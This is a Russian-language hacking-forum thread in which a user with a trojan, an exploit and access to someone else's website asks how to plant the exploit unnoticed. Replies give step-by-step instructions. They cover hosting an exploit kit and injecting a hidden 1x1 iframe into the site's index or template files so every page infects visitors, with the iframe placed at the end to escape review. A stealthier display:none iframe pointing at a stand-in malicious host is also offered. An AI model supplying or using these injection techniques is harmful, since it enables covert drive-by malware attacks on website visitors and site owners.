• XSS.stack #1 – первый литературный журнал от юзеров форума

Как вставить iframe?

kurt

floppy-диск
Пользователь
Регистрация
27.07.2006
Сообщения
6
Реакции
0
У меня такое дело
Есть трой, есть сплойт, есть доступ к сайту. Подскажите ламеру как вставить свой сплойт на чужой сайт, что б этого никто не заметил?
Сильно не ругайте, заранее спасибо.
 
:)

делаем так :
1) достаем хостинг.
2) туда ставим сплоит (ту связку скриптов которая призвана грузить что то там)
3) шагаем на сайт который нужно заразить
4) ищем индекс.пхп или индекс.хтмл

если хтмл то просто открываем и куданить в конец добавляем фрейм такого содержания :
<iframe src="http://EXPLOiT.info/sploit.php" width="1" height="1"</iframe>

если пхп то ищем там вывод в хтмл и вписываем этот же фрейм. Если пхп пользует скины(шаблоны) то лучше найти и заразить фреймом их, тогда будет заражена каждая страница которая пользует скин.

=========
http://www.htmlbook.ru/html/iframe.html
 
Спасибо, все понял. Но почему ифрейм в конец нужно добавлять? Он же может не догрузиться.
Чтоб ты сам не забыл - это раз, в случае если кто сорцы смотреть будет - до конца или не дойдёт, либо помотрит невнимательно... - это два ;)

PS: а ты разделом не ошибся?
 
На самом деле я бы советовал использовать следующий код:

Код:
<iframe src="http://evilsite.com/evil_code.php" style="visibility: hidden; display: none"></iframe>

Это однозначно создаст скрытый фрейм, который не будет влиять на позиционирование других элементов, и который не будет подвержен CSS установкам, действующим на элементы IFRAME.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх